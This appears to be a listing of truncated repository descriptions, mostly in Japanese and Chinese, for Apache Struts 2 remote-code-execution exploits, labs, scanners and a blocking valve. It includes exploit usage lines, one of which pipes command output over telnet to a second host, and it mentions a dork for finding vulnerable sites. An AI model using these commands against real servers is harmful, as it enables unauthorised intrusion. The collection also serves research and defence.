Apache-Struts-2-CVE-2017-5638-Exploit-

Apache-Struts-2-CVE-2017-5638-Exploit このエクスプロイトは、Apache Struts2の脆弱性（CVE-2017-5638）を悪用し、Apacheサーバ上でリモートからコマンドを実行することを可能にします。 使い方: $ sudo python Struts2Shell001.py ! Exploit Apache Struts2 DEMO Code of Rvbk + HOST con https 脆弱性のあるサイト google dork to find sites that are using struts: intitle:"Struts...

S2-055

S2-055 デシリアライゼーション脆弱性の悪用 CVE-2017-7525 悪用手順 javac ExploitCommand.java package exploit; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import...

ShellEvil

ShellEvil Jonatas Fil Dkr Julio Della Flora Thiago Sena THX Struts 2 DefaultActionMapper インタラクティブシェルエクスプロイト CVE-2013-225 S2-016 Struts 2 DefaultActionMapper は、パラメータの先頭に "action:" または "redirect:"...

CVE-2013-1965

CVE-2013-1965 Apache Struts 2 に影響を及ぼす CVE-2013-1965 脆弱性の概念実証エクスプロイト...

CVE-2023-50164-ApacheStruts2-Docker

CVE-2023-50164：Apache Struts 2 漏洞 Docker 容器 Apache 最近发布了关于 CVE-2023-50164 的安全公告，这是一个严重等级为 9.8 的关键漏洞，影响 Apache Struts 2。 CVE-2023-50164 与组织的 Apache Struts 架构及其文件上传功能的使用方式密切相关，它允许未经授权的路径遍历，可能被滥用来上传恶意文件并执行远程代码（RCE）。 此仓库包含一个 Dockerfile，用于理解和操作该漏洞。未提供武器化的利用代码。 使用方法 以下是运行该实验环境的命令（可在你的 shell 中复制/粘贴）： gi...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.0 RCE 漏洞 这是一个用于利用 CVE-2017-5638 的脚本——它允许攻击者通过 Content-Type 标头向 Web 应用程序注入操作系统命令。 Apache Struts 2 是一个开源 Web 应用程序框架，用于开发 Java EE Web 应用程序。它使用并扩展了 Java Servlet API，鼓励开发者采用模型-视图-控制器（MVC）架构。 在 2017 年 3 月的最后一周，一位化名为“Nike Zheng”的 Apache Struts 黑客发布了一个公开的概念验证利用代码，展示了在存在漏洞的...

-CVE-2017-9805

脆弱性情報 リソース: https://vulners.com/cve/CVE-2017-9805 これは何ですか？ S2-052 に対して脆弱な Struts2 をホストするシステムのシェルにリモートコマンドを実行できる Python エクスプロイトスクリプトです。 使用方法 ╭─root@blackshell / ╰─ python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream RES...

struts2-rce

CVE-2017-5638 のエクスプロイトデモ 完全に https://github.com/piesecurity/apache-struts2-CVE-2017-5638 に基づいています 使用方法: 前提条件: python、docker、maven、jdk がインストールされていること 1. このリポジトリをクローンする 2. プロジェクトルートで mvn clean package を実行する 3. docker build -t hack . を実行する 4. docker run -d -p 8080:8080 hack を実行する 5...

CVE-2018-1335-EXP-GUI

CVE-2018-1335 GUI版 EXP...

cve-2017-5638

CVE-2017-5638 そうです、あのデータブローカーのセキュリティ侵害のデモアプリです。エクスプロイトコードを含みます。 基本的な使い方（起動） mvn jetty:run 次に、http://localhost:8080/basic-struts/index.action にアクセスしてください。 Welcome to Struts 2! メッセージが表示されるはずです。 脆弱性スキャン mvn site 謝辞 エクスプロイトコードは immun.io のリポジトリ から改変しています。...

docker-lab-cve-2017-5638-cve-2021-41773

攻击者实验室：CVE-2017-5638 & CVE-2021-41773 一个基于Docker的7主机攻击模拟实验室，设计用于演示多阶段杀伤链、横向移动和多重IDS检测。 概述 本实验室模拟了一个真实的网络环境，攻击者从初始侦察开始，逐步建立立足点，最终通过跳板攻击高价值目标。它包含两个独立的Suricata IDS实例，作为关键主机的伴生容器，为整个攻击生命周期提供“防御者视角”。 杀伤链 1. 侦察 ：攻击者在 172.28.0.0/24 子网内执行网络扫描（ICMP、TCP SYN、HTTP 横幅抓取）。 2. 立足点（CVE-2017-5638） ：攻击者利用...

CVE-2024-53677-Docker

CVE-2024-53677 - Apache Struts 2 リモートコード実行（RCE）脆弱性の再現環境 このリポジトリは、Apache Struts 2 における CVE-2024-53677 脆弱性を再現するための Docker ベースの環境を提供します。この脆弱性はパストラバーサルに関連し、Struts 2 のファイルアップロード機能を通じて任意のコード実行（RCE）を可能にします。 ソース この再現環境は、以下の場所にある CVE-2023-50164 リポジトリに基づいています：...

CVE-2017-5638-PoC

CVE-2017-5638 Apache Struts 2 远程代码执行概念验证 本仓库包含一个概念验证（PoC）脚本，用于演示 Apache Struts 2 中标识为 CVE-2017-5638 的远程代码执行（RCE）漏洞。 漏洞详情 CVE ID: CVE-2017-5638 受影响软件： Apache Struts 2 版本 2.3.32 之前及 2.5.10.1 之前的版本 漏洞类型： 远程代码执行 攻击向量： 远程，通过精心构造的 Content-Type HTTP 标头 描述 文件上传请求中处理 Content-Type 标头时的错误允许攻击者执行任意 OGNL...

svja

svja RDPS 超级易受攻击 Java 应用程序（Super Vulnerable Java Application）顾名思义，就是一个超级易受攻击的 Java 应用程序，其创建目的是让所有人看到各种常见、往往“复杂”的漏洞。该软件是 Roniel 和 DaRon 播客节目（https://www.youtube.com/channel/UCbj1JFcSJeTuf3qf9GPRemA）的一部分，这样我们就可以以一种比网上许多其他工具更真实的方式来讨论和展示我们经常遇到的一些漏洞。要查看示例漏洞利用，请观看我们的播客。 重要...

apache-struts-v2-CVE-2017-5638

apache-struts-v2-CVE-2017-5638 CVE 2017-5638 的工作 POC 此仓库包含一个可用的 Python 示例，演示了 CVE 2017-5638 的 RCE 能力。同时附带了 Struts Showcase WAR 文件作为参考。...

S2-053-CVE-2017-12611

S2-053-CVE-2017-12611 Struts 2 S2-053CVE-2017-12611 のRCEエクスプロイト用のシンプルなスクリプト 使い方 exploit.py 例 $ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a" Generated EXP:...

CVE-2020-17530

CVE-2020-17530 s2-061 PoC:...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 示例：...

CVE-2017-5638

CVE-2017-5638 このスクリプトは、Apache Struts 2 の脆弱性（CVE-2017-5638）、別名 Struts-Shock を検証するためのものです。このスクリプトは完全に無害であり、悪意のあるペイロードを注入せず、'STRUTS2-VALIDATION' というHTTPヘッダーを注入するだけで、脆弱性があるかどうかを検証できるようにします。 マルチスレッド機能により、世界中に散らばる2,500以上のアプリケーションを10分以内に実行できます。そのため、大規模なエンタープライズアプリケーションを検証するのに非常に便利です。 使用方法...

OgnlContentTypeRejectorValve

OgnlContentTypeRejectorValva これは、Tomcat7 用の Valve で、Struts 2 のリモートコード実行の脆弱性（CVE-2017-5638）をブロックするためのものです。...